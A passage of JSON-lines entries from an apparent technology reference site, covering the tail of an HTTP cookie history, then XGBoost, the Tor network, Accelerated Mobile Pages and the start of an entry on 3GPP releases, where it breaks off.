cross-site integration, they propose **Storage Access API** as an alternative. \n\nMay  \n2018\n\nFirst approved in April 2016, **General Data Protection Regulation (GDPR)** comes into effect. Any cookie that can identify individuals is considered personal data. Such cookies require a user's explicit consent. Simply using the site doesn't imply consent. Site should provide user a means to withdraw consent. User consent must be stored. Sites must clarify the purpose of each cookie and the data it collects. \n\nJan  \n2019\n\nW3C publishes a working group note titled *Tracking Preference Expression*. Also called **Do Not Track (DNT)**, this gives users a means to express their preference with regard to tracking. When enabled, it's sent as a separate header with content `DNT:0` or `DNT:1`. If not enabled, servers can't assume users are saying yes to tracking. The earliest draft of this note can be traced to November 2011. \n\nAug  \n2019\n\nDue to the privacy concerns surrounding third-party cookies, Google proposes a new initiative called **Privacy Sandbox**. This is a designed to protect user privacy while keeping content accessible on the web. They note that simply blocking third-party cookies is not effective since fingerprinting can still be used to identify users across websites; and unlike cookies, fingerprints can't be cleared. Moreover, blocking cookies denies publishers funding via ad revenues. Google Chrome plans to phase out third-party cookies by 2022. \n\nFeb  \n2020\n\nGoogle Chrome browser changes the default value for attribute SameSite from None to Lax. Cookies without the SameSite attribute will be treated as having `SameSite=Lax`. This restricts the use of third-party cookies in unsafe contexts. Mozilla brings a similar change to its Firefox browser in June (for some beta users only). In May 2019, this was proposed in an IETF draft titled *Incrementally Better Cookies*.","meta":{"title":"HTTP Cookie","href":"http-cookie"}}
{"text":"# XGBoost\n\n## Summary\n\n\n Ensemble learning is the basis for XGBoost. Ensemble learning is a method for combining the predictive abilities of numerous learners in a systematic way. The result is a single model that aggregates the results of several models.In Ensemble Learning, XGBoost stands for Extreme Gradient Boosting, is a scalable, distributed gradient-boosted decision tree (GBDT) machine learning library. It provides parallel tree boosting and the term **gradient boosting**  refers to single weak model by combining it with a number of other weak models to create a collectively strong model. \n\nIt is an extension of boosting in which an objective function is used as input and a gradient descent algorithm is used to generate weak models. Previously, only **Python and R** packages were available for XGBoost, but it has recently been expanded to include Java, Scala, Julia, and more languages[2016].\n\n## Discussion\n\n### How does XGBoost works?\n\nXGBoost operates by dividing data into segments that lead to precise predictions depending on various parameters. The trees in XGBoost take into account the previous prediction value for a given data point and create a new tree that splits the existing data as best as possible to maximise the 'gain' in prediction (if tree-splits are created that don't lead to too much gain, the tree is pruned to avoid overfitting based on a hyper-parameter set threshold). Gradient Boosted Trees generate several models by taking previous trees and factoring in their predictions to create a new tree with the goal of reducing prediction error. The algorithm will combine all of the created trees' predictions to generate its final regression after it has been trained. \n\nThe training is then repeated repeatedly, adding new trees with the capacity to forecast residuals as well as prior tree mistakes, which are then combined with the previous trees to generate the final prediction.\\(New prediction =Initial prediction + Learning Rate\\*Residuals \\) \n\n\n### How does XGBoost determine features?\n\nXGBoost automatically delivers feature relevance evaluations based on a trained predictive model. After constructing a boosting tree, it retrieves feature importance ratings for each attribute. The feature importance gives a score that reflects how useful each feature was in the model's building of the enhanced decision trees. In scikit-learn, feature importance scores can be used to pick features. This is accomplished by utilising the SelectFromModel class, which accepts a model and may turn a dataset into a subset with selected features.This class can accept a **pre-trained model**, such as one that has been trained on the whole training dataset. It can then decide which features to select by applying a threshold. This threshold is utilised when you use the **transform() method** on the SelectFromModel instance to select the same features on the training and test datasets consistently. By using scikit-permutation each feature in the model will be shuffled randomly and the difference in performance will be computed. \n\n Import plot\\_importance from xgboost tells us how important that feature is to the model. Using this method, you can choose features not only for your XGBoost, but also for any other similar model that run on the data. \n\n\n### How XGBoost handles missing values in a given dataset?\n\nOn XGBoost, it can be handled with a **sparsity-aware split finding algorithm** that can accurately handle missing values on XGBoost. The algorithm helps in the process of creating a CART on XGBoost to work out missing values directly.CART is a binary decision tree that repeatedly separates a node into two leaf nodes.The above figure illustrates that data is used to learn the optimal default directions. The key to the method to handle algorithm is to visit only those that are not missing in entries \\(I\\_k\\). \n\nThe algorithm learns how to handle missing values by treating the non-presence as a missing value. When the non-presence corresponds to a user specified value, the algorithm can also be applied by enumerating only consistent solutions.All sparsity patterns are handled uniformly by XGBoost. This sparsity is used to make computation complexity proportional to the number of non-missing elements in the input. \n\n\n### What are the XGB data pre-processing steps?\n\nThe following are the data pre-processing procedures for XGB:\n\n    + Load the information\n    + Examine the data and delete any unnecessary attributes.\n    + Convert textual values to numeric values\n    + If necessary, locate and replace the missing values and don't remove predictors with zero or near-zero variance like we used to do for normal models.\n    + Divide the dataset into two parts: training and testing.\n    + Scale the features or normalise the data.\n    + Do Pricipal component analysis process which helps the performance of XGBoost. Prinicipal component analysis is a statistical process that employs an orthogonal transformation to convert a set of correlated variables to a set of uncorrelated variables.\n\n### What does the XGBoost leaf node weight mean, and how do you figure it out?\n\nIn general, we build a tree that predicts residual values between target and base predictions. The \"leaf weight\" in tree building is the projected output of the model associated with each leaf (exit) node.XGBoost tries all split points given by the data values for each feature and records their gain. It then picks the feature and threshold combination with the largest gain. \n\nHere's an example of how to compute the leaf node weights in XGBoost-Consider the following test data point: age=10, gender=female.To forecast the data point, the tree is traversed top to bottom, undergoing a series of tests. A feature is required at each intermediate node to compare against a threshold. According to the comparison's outcome, need to navigate to the left or right child node of the tree. Because \"age 15\" is true in the case of (10, female), the left branch should be done first, then the age 15 test. In the second test, \"gender = male?\" It is false and go to Leaf 2 which is constructed with a leaf weight of 0.1. \n\n\n### What makes XGboost better than gradient boosting?\n\n**Parallel Computing**: When you run XGBoost, by default it would use all the cores of your laptop/machine enabling its capacity to do parallel computation.\n\n**Tree pruning using depth firist approach**: XGBoost uses ‘max\\_depth’ parameter instead of criterion first, and starts pruning trees backward. **Tree Pruning** is a data compression technique used in machine learning and search algorithms to minimise the size of decision trees by deleting non-critical and redundant sections of the tree used to classify instances. \n\n**Missing Values**: XGBoost is designed to handle missing values internally. The missing values are treated in such a manner that any trend in missing values (if it exists) is captured by the model.\n\n**Regularization**: The biggest advantage of XGBoost is that it uses regularisation in its objective function which helps to controls the **overfitting** and simplicity of the model, leading to better performance. \n\n\n### Is XGBoost more efficient than a random forest?\n\nRandom Forest and XGBoost are decision tree algorithms that take a distinct approach to training data. When the model fails to forecast the inconsistency for the first time in XGBoost, it gives it more preferences and weightage in subsequent iterations, enhancing its ability to predict the low-participation class; however, we cannot guarantee that **random forest** will treat the class imbalance properly.If the bulk of the trees in the forest are given comparable samples, the random forest is likely to overfit the data. \n\n## Milestones\n\n2016\n\nTianqi Chen creates XGBoost as a research project as part of the Distributed (Deep) Machine Learning Community (DMLC) group. \n\n2019\n\nXGBoost is also available on OpenCL for FPGAs.OpenCL (Open Computing Language) is a programming language that runs on a variety of platforms, including CPUs, GPUs, DSPs, FPGAs, and other processors and hardware accelerators. \n\n2021\n\n XGBoost is integrated in Apache Hadoop, Apache Spark, Apache Flink, and Dask, which are distributed processing frameworks.","meta":{"title":"XGBoost","href":"xgboost"}}
{"text":"# Tor Network\n\n## Summary\n\n\nUsing a distributed network of nodes on the Internet, Tor provides users anonymity. Your Internet Service Provider (ISP), governments or corporations can't know which sites you've been visiting. Authorities also cannot censor content or know your location. \n\nTor is able to do this because it hides your IP address and the addresses of sites you visit. Your packets are bounced across multiple nodes, with each node having only information about the previous and next hops along the route. Moreover, Tor nodes are run by volunteers without any centralized control. Tor is a network service, not a peer-to-peer service like BitTorrent.\n\nThe easiest way to use Tor is to use the Tor Browser. There are many other software and services based on Tor.\n\n## Discussion\n\n### Why should I use Tor?\n\nAs an individual, you can use Tor to prevent websites from tracking your activities online and serving you annoying ads. More importantly, your ISP or government may censor some websites. Tor helps in bypassing censorship. \n\nIn chat rooms where socially sensitive topics are discussed (rape counselling, suicide prevention, terminal illness), Tor helps users preserve their anonymity. This sort of anonymity is even more important for journalists or whistleblowers who are exposing high-level scams. Even as a normal user, you can use Tor to hide your location for your own safety. \n\nIn general, Tor protects against Internet surveillance based on **traffic analysis**. Even if your message is encrypted, there's a great deal of information in packet headers (address, size, etc.). Timing of packets can be analysed. Statistical techniques can be employed to reveal patterns. Tor overcomes traffic analysis. \n\n\n### What are the building blocks of Tor?\n\nWhen using Tor, traffic is routed through three Tor nodes or relays between source and destination. All Tor nodes are run by volunteers. Hence, there's no centralized control. A connection across Tor network consists of the following:  \n\n    + **Tor Client**: Either the Tor Browser or a Tor-enabled program on your computer. This adds three layers of encryption to an outgoing message (and decrypts thrice an incoming message).\n    + **Guard Node**: First Tor node to receive your message. It removes one layer of encryption. It knows the next node but not the exit node or destination.\n    + **Relay Node**: Intermediate node. It removes another layer of encryption to obtain who's the exit node.\n    + **Exit Node**: Removes the final layer of encryption to reveal the destination. It can read the original message but doesn't know who sent it. Traffic exits this node without Tor encryption.\n    + **Circuit**: The path defined from source to destination via the three Tor nodes.\n\n### Could you explain Tor's Onion Routing?\n\nJust as an onion has multiple layers, Tor traffic is encrypted repeatedly and then routed through multiple nodes. Let's say, the message goes through nodes A (Guard), B (Relay) and C (Exit). Tor client first encrypts the message with C's key, then B's key, and finally A's key. When A receives the message, it decrypts it with its key. This will reveal to A that the next hop is B. However, A can't know who's C or the destination. \n\nIn summary, each node along the route has only partial information. This preserves user anonymity. The focus is to hide IP addresses of source/destination and routers along the route rather than the message content itself. \n\nUnlike traditional IP routing, Tor routing requires the sender to know in advance the route to destination, and keys of routers along the way. \n\nIn the original onion routing, public-key cryptography was used. Encryption was done with public keys and decryption with private keys. Today's Tor network uses symmetric keys for encryption and asymmetric public/private keys for authenticating Tor nodes. \n\n\n### Can my ISP know that I'm using Tor and penalize me for it?\n\nBecause Tor has been used for illegal activities, some ISP might throttle or block Tor traffic. Thanks to onion routing, your ISP can't know which site you're visiting or read your traffic. However, ISP will know that you're using Tor.  This is because the IP addresses of Tor's nodes are publicly available. **Tor Bridges** provide a solution to this problem. \n\nA bridge is also a Tor node but it's not listed on the main Tor directory. So your ISP can't easily block all bridges. But ISPs have a solution for this. They inspect packets to figure out if Tor is being used. To partly overcome this, we can use **Pluggable Transports**. These obfuscate the packets so that they don't resemble Tor traffic. \n\n\n### Isn't Tor doing the same thing as a VPN or proxy?\n\nA Virtual Private Network (VPN) routes all your Internet traffic through a VPN server that hides your IP address. The VPN provider will have many servers worldwide and one of them will be used. Because online services see requests coming from a VPN server, your location is masked. Moreover, all traffic between your device and the server will be encrypted. \n\nTor too routes traffic via intermediate servers. The main difference between VPN and Tor is one of *trust*. VPN provides privacy but this can be compromised if you don't trust your VPN provider. Your VPN provider may use weak encryption, may store logs about all your activities and may be forced to share them with governments. Being decentralized, there's no need to trust anyone on Tor. No logs are stored. \n\nWhile VPN is about **privacy**, Tor is more about **anonymity**. We can also state that VPN emphasizes encryption while Tor emphasizes routing. Ultimately, VPN is sufficient for most online activities. Activists and journalists living under strict censorship laws, when their lives are at risk, can use Tor. \n\n\n### What are the limitations or criticisms of Tor?\n\nWhile Tor has its benefits, it can also be misused. Hackers use Tor to hide their identities. They can use Tor for ransomware attacks. Tor can be used for low bandwidth, slow Distributed Denial-of-Service (DDoS) attacks. Tor's hidden services feature has been used to publish suspicious or illegal content: drugs, firearms, child pornography. \n\nOne study found that a Tor user is 6-8 times more likely to perform a cyberattack. This gives bad repute to all Tor users, whose activities could be wrongly suspected. ISPs will throttle your Tor traffic or even block completely. Some websites block Tor nodes. For example, Wikipedia doesn't allow content edits from anonymous authors since logging IP addresses of Tor exit nodes makes no sense. This prevents vandals but also blocks genuine authors. \n\nTor has been criticized for being slow. It can't handle peer-to-peer file sharing. Setting up a Tor relay node is also non-trivial. \n\n\n### How do I get started with using Tor?\n\nThe simplest way is to install Tor Browser for anonymous Internet access. If access to Tor Project website is blocked, you can send an email to `gettor@torproject.org`. Email body should contain one of these words: windows, osx or linux. You'll get a link to download Tor Browser. \n\nIf you wish to use the Tor network for purposes other than web browsing (such as FTP or SSH), read about privoxy, torsocks, and torification. \n\nTo learn more, the official Tor documentation and Tor FAQ are good places to start. FAQ is also a good place to find solutions to common problems. For community support, head to Tor StackExchange. Follow Privacy Enhancing Technologies Symposium (PETS), an annual event featuring the latest developments. For in-depth understanding, read Tor specification documents.\n\nIf you run a site, and it's getting hacked over Tor, you can block exit nodes that are accessing your server. An online service such as TorDNSEL can also help. \n\n\n### What are the different projects based on or related to Tor?\n\nFor safe web browsing, use the *Tor Browser*. For Tor statistics and resource utilization, use *Nyx* and *Metrics Portal*. *Orbot* is a project that aims to bring web browsing to Android platform. *Orlib* is a library that can be used with any Android app to route traffic through Orbot/Tor. *Tails* is a live CD/USB distribution of Tor and leaves no trace on the local system. \n\nThere are also many community projects. *OnionShare* is for anonymous file sharing. *SecureDrop* is for whistleblowers to submit documents to media organizations. *GlobalLeaks* also enables whistleblowers. *Ahmia* is a search engine for content published on Tor Onion Services. \n\nThree general methods to \"torify\" apps are proxification, socksification, transsockification. Torifier can be used to tunnel any software application over Tor.\n\nFor developers, *Shadow*, *Stem* and *txtorcon* might be of interest. *Orchid* can be used to torify Java and JVM applications. \n\n## Milestones\n\n1995\n\nWith widespread adoption of Internet in the 1990s, the US government realizes that Internet can be used by its spies for sharing intelligence. But the problem of identity and security of sources has to be solved. Hence, US Office of Naval Research starts funding research on **Onion Routing**. This research is initially carried out Paul Syverson, Michael G. Reed and David Goldschlag at the US Naval Research Laboratory. \n\n1996\n\nFirst prototype system that does onion routing is built. It runs on a single Solaris 2.5.1/2.6 machine emulating five nodes. In July, the code is approved for public distribution. \n\n2002\n\nWork starts on second generation onion routing. This is the beginning of **Tor**. The name is not an acronym, although it can be expanded as \"The Onion Routing\". Alpha release of Tor happens is September. \n\nOct  \n2003\n\nTor network is deployed. Tor code is open sourced under MIT license. \n\n2004\n\nLocation hidden services are deployed. This is the beginning of **Tor Onion Services**. The Tor Project is funded by *Electronic Frontier Foundation*, whose mandate is to defend digital privacy, free speech, and innovation. In August, the Tor design paper is published at USENIX Security Symposium. By the end of the year, there are 100 Tor nodes. \n\n2007\n\nFirst major criminal activities on Tor are reported. Meanwhile, US government continues to fund Tor. About 75% of total donations for the year come from the US government. In 2013, this figure is about 93%. \n\n2013\n\nA leaked presentation of the National Security Agency (NSA) reveals that they tried to hack Tor and failed. Meanwhile, Edward Snowden leaks NSA documents via Tor. FBI closes Silk Road, a Dark Web marketplace for drugs, weapons and stolen data. \n\n2015\n\nIn 2015, Tor network has over 7000 nodes worldwide. Daily, more than 2 million users connect to Tor. \n\n2018\n\nOne study reports that Tor serves 8 million users per day. This involves 1.2 billion anonymous circuits per day carrying approximately 517 TiB of data (6.1GiB/s).","meta":{"title":"Tor Network","href":"tor-network"}}
{"text":"# Accelerated Mobile Pages\n\n## Summary\n\n\nTo acquire and retain consumers, publishers have realized that content alone is not enough. To deliver rich user experiences, publishers therefore serve content along with interesting animations and engaging interactions. This might work on desktops but not on mobile devices where processing is limited and network connections are slower. Advertisements used for monetization might also worsen the experience. This is where AMP fits.  \n\nAccelerated Mobile Pages (AMP) is a library to create web pages that load almost instantaneously. AMP pages are web pages built using HTML but with some constraints. It's supported by multiple platforms and browsers. Developers can reuse their web skills to create AMP pages. \n\nAMP is an open-source project started by Google. It's in active development and adoption is growing. There's also criticism that Google is trying to control the way the web evolves.\n\n## Discussion\n\n### What's the problem that AMP aims to solve?\n\nIn 2015, Facebook launched *Instant Articles*. Apple launched *Apple News*. Google followed by launching *AMP* later that year. These developments pointed to the fact that more and more users are accessing content from mobile devices but their experience is marred by the complexity of web technologies and developers using them inefficiently.\n\nPages load slowly. Content jumps around the page when big images arrive later, forcing rendering engines to recalculate the positioning of page elements. Annoying ads distract users from the main content. When users leave such pages, publishers miss out on readers and ad revenues.\n\nLater research from 2016 also brought some insights about mobile web. 53% of users will leave a page that takes longer than 3 seconds to load. On a 3G connection, the average load time is 19 seconds. Each page makes on average 214 server requests, half of which are ad related. \n\nWhile the proprietary approaches of Facebook and Apple use native apps, AMP is a mobile web approach. AMP leverages the maturity of the web and its standards.\n\n\n### If AMP is for mobile, is it irrelevant for desktop users?\n\nAMP was designed with mobile web in mind but it could just as well be used for desktops. It's good to think of AMP as *mobile first* rather than *mobile only*. This means it's easier to develop responsive web apps across devices using AMP. \n\nIn the early days of AMP, it made sense to have two versions of your site: non-AMP for desktops and the AMP for mobiles. While this might have enabled initial faster adoption, this had the drawback of sharing links across AMP and non-AMP pages, or showing a mobile-only AMP page to desktop users. The current suggestion is to have a single canonical AMP site that can be served to any device. \n\nAs of October 2018, Google Search does not serve pages from AMP Cache when accessed by desktop users.\n\n\n### Does adopting AMP improve Google search engine ranking?\n\nGoogle will not rank a page higher just because it's AMP. At best, it will show a lighting-bolt icon next to the search result to indicate that it's AMP and will be served fast from AMP Cache for mobile web users. \n\nHowever, Google does rank pages higher up because they load faster on mobiles. This implies that having AMP is a good thing. In fact, WompMobile have noted 12% better ranking. \n\n\n### Could you point me to some example sites using AMP?\n\nThe official AMP site has published some case studies. These show that AMP has been adopted by news publishers, advertisers and e-commerce sites. Some of these include Readwhere CMS, Jagran New Media, CNBC, Wired, Gizmodo, The Washington Post, U.S. Xpress, Teads, Tokopedia, Carved, Wego, and Events Ticket Center. Other noteworthy sites using AMP include Vox and Tencent for news; Myntra and Magebit for e-commerce; Tasty.co for food and recipes; Iene for entertainment. \n\nIn February 2018, AliExpress launched AMP-first mobile site. Mynet has built a *Progressive Web App (PWA)* that uses AMP pages. Spiegel Daily and Tasty.co have built their entire site using AMP, rather than have separate pages for mobiles and desktops. \n\nA number of platforms (content, ads, analytics) and vendors support AMP by providing custom AMP components or integrating AMP pages to their platforms. Examples are Facebook Pixel, Parsely, Flipboard, Medium, Twitter, Reddit, Pinterest, Weibo, Drupal, Wordpress, Soundcloud, Vimeo, YouTube, and Dailymotion. The biggest ones include Wordpress, Reddit, Bing, Ebay, Pinterest and Google. \n\n\n### What are the results after implementing AMP?\n\nWashington Post reported +23% mobile search users who return within 7 days. Gizmodo reported 80% of traffic from AMP pages is new traffic and +50% impressions. Wired reported +25% click through rates from search results. Visitors to The Miami Herald spend 10% more time when coming via AMP pages. \n\nAt Events Ticket Center, page load times dropped from 5-6 seconds to less than a second. At Myntra, India's largest online fashion retailer, bounce rate reduced by 40%. At AliExpress, load times reduced by 36%, orders increased by 10.5% and conversion rates by 27%. \n\nOn the contrary, a Chartbeat study showed that only a third of publishers see increase in traffic. Rockstar Coders has said that AMP decreased conversions by 70%. It's also been noted that results depend on how well AMP is implemented. \n\n\n### What are the essential AMP components?\n\nAMP consists of three core components: \n\n    + **AMP HTML**: This is HTML with restrictions. Basic HTML is extended with custom properties and elements. Custom elements are also called *AMP HTML components*. With these, we can implement common patterns easily without losing performance.\n    + **AMP JS**: This is the AMP runtime in JavaScript. It renders AMP HTML fast. It optimizes resource loading, including asynchronous loading of external resources. Custom JavaScript is not allowed. It does prerendering for resources above the fold. It precalculates layout even before resources are loaded. It minimized style recalculations. It disables slow CSS selectors. CSS must be inline and limited to 50KB. Only animations capable of GPU acceleration are allowed.\n    + **AMP Cache**: To get content to users quickly, they are served using Google AMP Cache, a proxy-based content delivery network (CDN). Cache also does page validation. This cache can be proactively updated via an API if original content changes.These components help AMP achieve its goals in areas of content, distribution and advertising. \n\n\n### What's the data flow for client-server interactions with AMP pages?\n\nWhen AMP pages are published, search engines and platforms will crawl and index them as usual. For example, Google will identify these pages and caches them in its CDN. When visitors search on Google, Google will mark these AMP pages on the search results page. Meanwhile, Google will also download content in advance above the fold and prerender the page in anticipation of user click. \"Above the fold\" means that only content visible on the device's viewport on first load will be downloaded. When user finally clicks on the link in the search results page, the loading is fast.\n\nSubsequent clicks on links shown on the served page will be served from the original domain. They do not go via the AMP Cache, that is, the CDN. However, Google Analytics has mechanisms in place to treat the session as the same one. \n\n\n### Could you list some AMP HTML components?\n\nAMP HTML components start with the prefix `amp-`. For example, to include an image use `amp-img`. Some of them are built into the base library. Others are extensions and must be explicitly included. There are also experimental ones. \n\nWithout being exhaustive, we mention a few components: \n\n    + **Ads & Analytics**: amp-analytics, amp-experiment, amp-pixel\n    + **Dynamic Content**: amp-access, amp-bind, amp-form, amp-list\n    + **Layout**: amp-accordion, amp-carousel, amp-iframe, amp-layout, amp-sidebar\n    + **Media**: amp-audio, amp-img, amp-video, amp-youtube\n    + **Presentation**: amp-date-countdown, amp-fit-text, amp-font, amp-story\n    + **Social**: amp-facebook, amp-reddit\n\n### What are the common criticisms of AMP?\n\nThe main criticism is that Google is doing this to increase its ad revenues and get around ad blockers that 16% of Americans use. Caching and pre-loading are not exclusive to AMP. \n\nIt's been said that all AMP pages look the same. Cross-domain analytics is hard across AMP and non-AMP pages. When served from AMP Cache, the URL that visitors see is Google's, not the original domain URL. There's disagreement about the effectiveness of ad monetization via AMP pages. Because ad formats are limited on AMP, monetization has been slow. Despite this, publishers are sticking to AMP because they seem to have little choice: Google seems to rank AMP pages higher. \n\nSome see AMP as further fragmenting the web. Content must be formatted for the regular web, for Facebook Instant Articles, for AMP, and so on. However, there's been a change of mindset in which AMP can be served across all devices. \n\nAMP does not respect the platform on which pages are rendered. For example, scrolling on iOS is unnatural or search on Safari browser doesn't work. Hence, Google is really breaking the open web. \n\n\n### I already have a full-fledged site. How should I adopt AMP?\n\nCreating an AMP page isn't about removing some things from the original page to make it faster. It's about serving the same content but in a manner that conforms to the rules of AMP. Among the errors that new developers make are using disallowed tags/attributes, and invalid/missing URLs. \n\nIn sites such as WordPress, there are plugins to convert existing pages to AMP. By applying suitable customizations to the plugins, this can be an easy route to adopting AMP. Hand-coded AMP pages will give better user engagement. Do this first for important pages that are reached via search engines or other platforms.\n\nWhen users are navigating within your domain, target pages will not benefit from the AMP Cache. This is where the use of **Service Workers** and **Progressive Web Apps (PWA)** can help. In fact, AMP can work nicely with PWA. Developers can choose from a few options.  \n\n\n### What are some AMP resources for beginners?\n\nThe main AMP website is a good starting point for documentation, tutorials, guides and case studies. It also has the AMP Validator. To learn AMP via code samples, AMP By Example is a useful resource. To quickstart your project by reusing AMP templates, AMP Start is the place to find them. AMP Blog is the place to track latest news and updates. \n\nSince the project is open source, AMP code is available on GitHub.\n\nGuides are available to help you integrate your AMP pages across various Google products.\n\n## Milestones\n\nOct  \n2015\n\nGoogle announces **Accelerated Mobile Pages (AMP)** as an open source initiative to load content and ads faster on the mobile web. Google Search has integrated with AMP pages, with Google News to follow soon. About 30 publishers are partnering with Google to integrate AMP HTML pages. \n\nFeb  \n2016\n\nAMP brings in support for paywalls and subscriptions. Publishers retain control of the sign up and login process. This also the time when AMP pages are highlighted by Google Search as Top Stories carousel. \n\nSep  \n2016\n\nGoogle Search results page now starts to surface AMP pages in standard search results. This means that these results link to validated AMP pages rather than to the original domain. \n\nMar  \n2017\n\nBaidu, Sogou and Yahoo Japan launch AMP support. Cloudflare launches an AMP cache. \n\nMay  \n2017\n\nGoogle Analytics enhances AMP support so that user sessions can be correctly tracked across AMP and non-AMP pages when served from the original domain. Meanwhile, Facebook announces that Facebook Instant Articles can also be published as AMP pages. This is to address publishers' frustration of having to format content for different platforms. \n\nSep  \n2017\n\nGoogle introduces **AMP Client ID API**. Using this, Google can determine if a user arriving at the original domain is coming from an AMP page served by Google from AMP cache. This gives more accurate analytics in terms of unique users, session time, bounced rate, etc. In September 2018, this is further enhanced using **AMP Linker**. \n\nOct  \n2017\n\nMore than 4 billion pages and 25 million website domains are using AMP. The median time to load an AMP page via Google search is less than a second. A study by Forrester Consulting reports that AMP leads to +10% traffic with 2x time spent on page. For e-commerce sites, there's +20% sales conversions compared to non-AMP pages. On GitHub, the project has more than 10k stars. \n\nFeb  \n2018\n\nThe project announces **AMP Stories** as a format for visual storytelling on the web. It also announces **AMP for Email**. Meanwhile, Google's earlier announcement of \"same content\" policy comes into effect. This requires that AMP pages have the same content as the original pages (also called canonical pages). This is to discourage publishers showing just a teaser on AMP pages and then asking users to navigate to the canonical pages. \n\nOct  \n2018\n\nBing launches AMP viewer and AMP cache.","meta":{"title":"Accelerated Mobile Pages","href":"accelerated-mobile-pages"}}
{"text":"# 3GPP Release\n\n## Summary\n\n\n3GPP regularly publishes Technical Specifications (TSs) and Technical Reports (TRs) pertaining to mobile cellular systems (2G/3G/4G/5G). These documents go by the generic term **specifications**. New specifications are created and existing specifications are updated as the technologies evolve. Specifications are grouped into what are called **Releases**. Given a particular release, a mobile system can be constructed. By adding new functionality to a release, 3GPP partners and members construct a new release. \n\nComing up with a new release normally takes about 2.5 years. This excludes the time to conceptualize and finalize what should go into the release.  \n\nCompanies develop products conforming to a specific release. Release is therefore an important concept for feature support and interoperability. Moreover, each release is designed with backward and forward compatibility in mind.\n\n## Discussion\n\n### How are specifications organized and versioned?\n\nSpecifications are organized into **series**, versioned and change-tracked. Documents within a series are closely related technically. For example, 38-series covers 5G, 36-series covers 4G and 25-series covers 3G. Within the 38-series, 38.1xx covers UE and base station requirements, 38.2xx covers PHY, 38.3xx covers radio protocols, etc. \n\nEvery specification is versioned with a version number of the form `x.y.z`. Field `x` refers to the release. Field `y` increments every time technical changes are introduced and approved by the TSG. Field `z` increments every time editorial changes are made. Fields `y` and `z` reset to zero if the preceding fields increment. \n\nFor example, *TS 38.101-4 V17.6.0* is a TS belonging to 38-series and of Release 17. The document is in its sixth technical version with no editorial changes to that version. The suffix \"-4\" indicates part 4 (parts and subparts are used only for long specifications published as multiple documents). \n\nField `x` has a few special values: 0 (draft), 1 (presented to TSG for information), and 2 (presented to TSG for approval). Once approved, `x` takes the value of the release number. \n\n\n### What's the typical 3GPP release process?\n\nEvery release starts with a vision or concept of what is desired from the release. Proposals are made to add new features or services. Work formally begins when some of these proposals are accepted. Features are typically broken down into smaller elements. \n\nEach 3GPP TSG meets quarterly to approve Work Items. Work Items with sufficient complexity may be preceded by Study Items. Study Items result in Technical Reports (TRs) that in turn becomes inputs to writing the Technical Specifications (TSs). Either new TR/TS documents are created or existing ones are updated via Change Requests (CRs). Essentially, specifications are change controlled and can be updated only via CRs. \n\nA new release of a specification is either via CRs, via a request to the TSG, or automatic. If a specification is not updated during a release, it's automatically upgraded from the previous release without any changes. \n\nThe decision-making process is non-linear, iterative and via consensus. There's no voting process at meetings. Delegates discuss and negotiate. In most cases, original proposals are refined before accepted. \n\n\n### What's meant by stage 1, 2 and 3 of a 3GPP release?\n\nA release is developed via a three-stage methodology that comes from ITU‑T Recommendation I.130: \n\n    + **Stage 1**: Overall service description from a user's perspective.\n    + **Stage 2**: Overall description of network functions. These map service requirements into network capabilities.\n    + **Stage 3**: Definition of switching and signalling capabilities to support services defined in stage 1.A feasibility study is often conducted before defining the specifications. This may be termed *Stage 0*. Likewise, stage 3 may be followed with test specifications. This may be termed *Stage 4*. \n\nThe figure shows Release 18 as an example. From package approval (December 2021) to protocol coding freeze (March 2024), the duration is 2 years and 3 months. Conceptualizing new features or enhancements for the release may begin as early as 12 months before the package approval. We also note that Release 18 overlaps with adjacent releases. This overlap enables continuous progress. \n\nStage 3 freeze is usually 1-2 TSG meetings before protocol freeze (release end date). End date is indicative since release may be refined/corrected later. \n\n\n### Could you share more details on Change Requests?\n\nCRs add new features, clarify/correct/enhance features of an ongoing release, or correct error in functionally frozen specifications. A CR is on a TR or TS and relates to a Work Item. It should highlight sections of the specification changed and include the changes. \n\nCRs can undergo multiple revisions. Multiple CRs could be merged. CRs are agreed first within WGs before sent to TSG for approval. CRs can be rejected, withdrawn or postponed either at WG or TSG level. The figure shows an example of three CRs on 23.456 (fictional) specification. CRs are numbered 4, 5 and 6. Apart from CR 6, the other two have undergone revisions. When presented to the TSG plenary, all CRs of a given specification are combined into a single document along with a cover sheet. \n\nCRs fall into a few categories: A (change to an earlier release), B (add/delete feature), C (functional change), D (editorial change, no impact on implementation), E (not used), and F (correction). When a release is frozen, category F is permitted but other categories are generally not permitted. \n\n\n### What online resources are available to 3GPP release contributors?\n\nEvery release has a full release description document named *TR 21.9xx*. For example, the document for Release 17 is *TR 21.917*. It can be downloaded from the 21-series page.\n\nThe following resources are helpful: \n\n    + 3GPP portal for members\n    + 3GPP FAQ page\n    + List of all series\n    + Current status of specifications by release\n    + Current Work Plan listing applicable Work Items\n    + Guidelines for writing Work Items\n    + Work Items download\n    + Instructions to write a CR\n    + CR search service by Netovate or on 3GPP portal\n    + Database of all CRs submitted to TSG plenary\n\n### Which are the main 3G releases?\n\nThe first 3G release was called **Release 99**. It supported both circuit-switched and packet-switched bearers. It met IMT-2000 requirements set by ITU. Subsequent 3G releases were Rel-4 through Rel-7. Rel-8 was the start of 4G/LTE but 3G continued to evolve in this and later releases. \n\nRel-5 introduced High Speed Downlink Packet Access (HSDPA) that supported shared channel transmission, HARQ and higher-order modulations. HSDPA brought lower latency, higher data rate and higher capacity. Rel-6 introduced Enhanced Uplink, aka High Speed Uplink Packet Access (HSUPA), with benefits and techniques somewhat similar to HSDPA. HSDPA and HSUPA are often together called **HSPA**. \n\nHSPA evolved to Rel-7 with MIMO and higher-older modulations. This was called **HSPA+**. From Rel-8, HSPA+ started supporting Carrier Aggregation (CA). Rel-11 marked the start of **HSPA+ Advanced** with the Multiflow feature. Rel-12 introduced HetNets and Wi-Fi interworking. \n\nThe names 3.5G (HSPA), 3.75G (HSPA+) and 3.9G (LTE) are sometimes used, although this usage is not consistent across the industry. \n\n\n### Which are the main 4G releases?\n\nThe first 4G/LTE release was Rel-8. It's main features were OFDMA waveform, FDD/TDD operation and an all-IP core network. Rel-9 added femtocells in the form of Home eNodeB (HeNB), Location Services (LCS), Evolved Multimedia Broadcast/Multicast Service (eMBMS), VoLTE and Circuit Switched FallBack (CSFB).  \n\nRel-10 introduced CA, HetNets and advanced MIMO. It marked the start of **LTE Advanced**. These features were further enhanced in Rel-11 and Rel-12.  \n\nRel-13 marked the start of **LTE Advanced Pro** with enhancements to CA and MIMO. The standard could achieve 1 Gbps in the downlink, giving rise to the term *Gigabit LTE*. It also introduced unlicensed access (LAA) and IoT (eMTC and NB-IoT). Enhancements to the specifications continued in Rel-14 and 